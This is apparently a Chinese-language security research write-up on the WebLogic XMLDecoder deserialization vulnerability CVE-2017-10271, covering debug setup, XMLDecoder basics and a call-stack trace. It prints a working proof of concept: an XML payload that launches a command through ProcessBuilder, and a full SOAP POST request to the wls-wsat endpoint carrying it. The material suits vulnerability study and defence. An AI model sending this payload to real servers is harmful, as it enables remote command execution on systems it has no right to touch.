0%

weblogic_XML反序列化漏洞

0x00 环境搭建

漏洞环境:Win10+IDEA+jdk1.6+WebLogic 10.3.6.0

本地漏洞调试

下载安装

可以去官网上下载WebLogic 10.3.6.0 然后安装

也可以在这里搜索Weblogic下载Weblogic环境并且安装

安装完后

install

点击Configuration Wizard进行域创建,这里就不细说了,网上的教程很多

然后再user_project的相应domain下的wl_server\bin目录中的startWeblogic.cmd里设置 set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n 为后面调试做准备

1
2
3
4
5
6
7
8
9
10
11
@ECHO OFF

@REM WARNING: This file is created by the Configuration Wizard.
@REM Any changes to this script may be lost when adding extensions to this configuration.

SETLOCAL
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
@REM --- Start Functions ---

GOTO :ENDFUNCTIONS
...

然后双击`startWebLogic.cmd启动weblogic

可以用netstat -ano|findstr 9999查看启动情况

浏览器访问http://127.0.0.1:7001/console,能看到下面的界面就说明安装以及启动成功

install

IDEA配置调试环境

新建项目,导入wlserver_10.3整个目录,在edit configuration中,新建一个remote,port为刚才的9999

然后将目录下的所有jar包拷贝到一个目录下,Windows下可以用ps命令

先mkdir test

1
2
3
4
5
6
7
8
9
$jars=Get-ChildItem -Path C:\Oracle\Middleware -Recurse -ErrorAction SilentlyContinue -Filter *.jar | Where-Object { $_.Extension -eq ".jar" } | select FullName
foreach($jar in $jars){
copy $jar.FullName test
}

$wars=Get-ChildItem -Path E:\Oracle\10.3.6\Middleware -Recurse -ErrorAction SilentlyContinue -Filter *.war | Where-Object { $_.Extension -eq ".war" } | select FullName
foreach($war in $wars){
copy $war.FullName ./test
}

然后把这些个包作为lib添加到项目的lib中

  • Edit Configurations

    • 添加配置
    • 选择Weblogic Server 选择remote
    • 点击Configuration,填写Weblogic的安装目录
    • 选择域
    • 输入添加域时创建的User和Password

    setting

这里最开始设置是在右下角会出现fix的提醒,点击就好,点击后会自动配置Project Structure-> Facets

这里会存在一个小问题我不知道怎么解决:点击蜘蛛,进行debug,编译完成后不会直接弹出浏览器访问设置的地址。可以自己进行下断点,自行访问http://127.0.0.1:7001。这样是可以进行调试的。

docker 漏洞调试

网上很多远程docker漏洞环境调试,这里贴一下

https://zhengbao.wang/IDEA%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95Weblogic-XmlDecoder%E6%BC%8F%E6%B4%9E/

  • vulhub中的docker-compose.yml添加- "8453:8453"开启IDEA远程端口调试

0x01 前置知识

xml标签

  • string标签

    string标签是字符串表示方式 e.g: Hello, world

  • void标签

    void标签表示函数调用、赋值等操作,index属性表示游标,method属性指定具体的方法名称。e.g:

  • array标签

    array标签数组表达方式,class属性指定具体的数组类,length属性表示数组长度 e.g:

  • object标签

    object标签表示对象,class属性指定具体类 e.g:

XMLDecoder/XMLEncoder

https://www.oracle.com/technical-resources/articles/java/persistence3.html

XMLEncoder生成表示javaBeans组件的xml文档

XMLDecoder读取使用 XMLEncoder 创建的XML文档获取JavaBeans

  • XMLEncoder

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    package XML;

    import java.awt.List;
    import java.beans.XMLEncoder;
    import java.io.BufferedOutputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.lang.reflect.Array;
    import java.util.Arrays;

    import javax.swing.JButton;

    public class XMLEncoder_test {
    public static void main(String[] args) throws IOException {
    // TODO Auto-generated method stub
    // String[] s = new String[3];
    String s = new String();
    s = "Hello, world";
    //command
    // String[] cmd = new String[3];
    // cmd[0] = "cmd";
    // cmd[1] = "/c";
    // cmd[2] = "calc.exe";
    // List<String> cmdlist = Arrays.asList("cmd","/c","calc.exe");
    // ProcessBuilder pb = new ProcessBuilder(cmd);
    // pb.start();

    BufferedOutputStream buff = new BufferedOutputStream(new FileOutputStream("test.xml"));
    XMLEncoder xml = new XMLEncoder(buff);
    xml.writeObject(s);
    xml.close();


    }
    }

  • XMLDecoder

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    package XML;

    import java.beans.XMLDecoder;
    import java.io.BufferedInputStream;
    import java.io.BufferedOutputStream;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import javax.swing.*;

    public class XMLDecoder_test {

    public static void main(String[] args) throws FileNotFoundException {
    // TODO Auto-generated method stub
    BufferedInputStream buff = new BufferedInputStream(new FileInputStream("test.xml"));
    XMLDecoder xml = new XMLDecoder(buff);
    Object resObject = xml.readObject();
    System.out.println(resObject);
    xml.close();
    }

    }

构造恶意的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_201" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder" method="new">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</void>
</java>

执行XMLDecod_test 成功弹出计算器

image-20200825153947047

0x02 漏洞分析

CVE-2017-10271

我们先在wseeclient.weblogic.wsee.workarea.WorkContextXmlInputAdapter 中的20行打断点,开启debug模式,进行发包,在IDEA中的调用栈如下

image-20200828103621861

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<init>:19, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readHeaderOld:106, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

javax.servlet.http.HttpServlet#service是接收到HTTP请求,传递给 weblogic.servlet.http.AbstractAsyncServlet#service ,执行weblogic.wsee.jaxws.JAXWSServlet#doRequest判断为POST请求,然后传递个weblogic.wsee.jaxws.HttpServletAdapter#post方法进行请求处理,最后主要是给到weblogic.wsee.jaxws.WLSServletAdapter#handle对请求内容进行处理

接下来在weblogic.wsee.jaxws.WLSServletAdapter 129行处打下断点

image-20200825165144214

这里是post的请求,直接进入super.handle(var1, var2, var3);

步入其中,会对请求头进行剖析

获取请求方式

image-20200825173219817

进入com.sun.xml.ws.transport.http.HttpAdapter#handle,因为是POST请求,直接进入try中

image-20200826163826625

tk.handle跳转到 com.sun.xml.ws.transport.http.HttpAdapter$HttpToolkit#handle在519行处,会获取到请求头的内容并保存到packet里面

image-20200826165413613

进入decodePacket获取到Content-Type以及Accept头信息,然后把posts保存到packet里面

image-20200826170351436

然后继续走下去,packet作为参数传递给weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest,即var1var2为数据中的header

image-20200826170827235

var2获取到WorkAreaConstants.WORK_AREA_HEADER固定值,然后会和我们POST数据中的work:WorkContext标签中链接进行比较,相同就赋值给var3,然后跳入if分支,把var3传递给readHeaderOld函数

image-20200826231459139

weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld

image-20200826232849532

通过XMLStreamWriterFactory.create函数获取恶意的Payloadvar4中,var4的字节数组输入流传入WorkContextXmlInputAdapter的构造函数

image-20200826233509450

然后恶意xml进入XMLDecoder中,并且实例化存储在WorkContextXmlInputAdapterxmlDecoder属性中,然后存储到上层实例化对象的var6中,然后传递给receive函数

image-20200826235304697

再传递给weblogic.workarea.WorkContextMapImpl#receiveRequest

image-20200826235326743

步入,把var6对象存储数据传递到weblogic.workarea.WorkContextLocalMap#receiveRequest函数

image-20200826235940362

然后进入WorkContextEntryImpl.readEntry

image-20200826235349446

最后再weblogic.wsee.workarea.WorkContextXmlInputAdapter#readUTF中触发

image-20200826235403766

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_c54c72b9957c86ac475fec65e27ae4c3=1595919041; JSESSIONID=Bc-TZhsPTQrves7hee0AzXRkacsfyswwZufyu_lPIfLKbap52YSc!250339748; Hm_lpvt_c54c72b9957c86ac475fec65e27ae4c3=1596004859
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 962

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20200828140749601

Reference

https://xz.aliyun.com/t/8039#toc-8

https://it.baiked.com/jdkapi1.8/java/beans/XMLEncoder.html

https://www.cnblogs.com/ph4nt0mer/p/11775908.html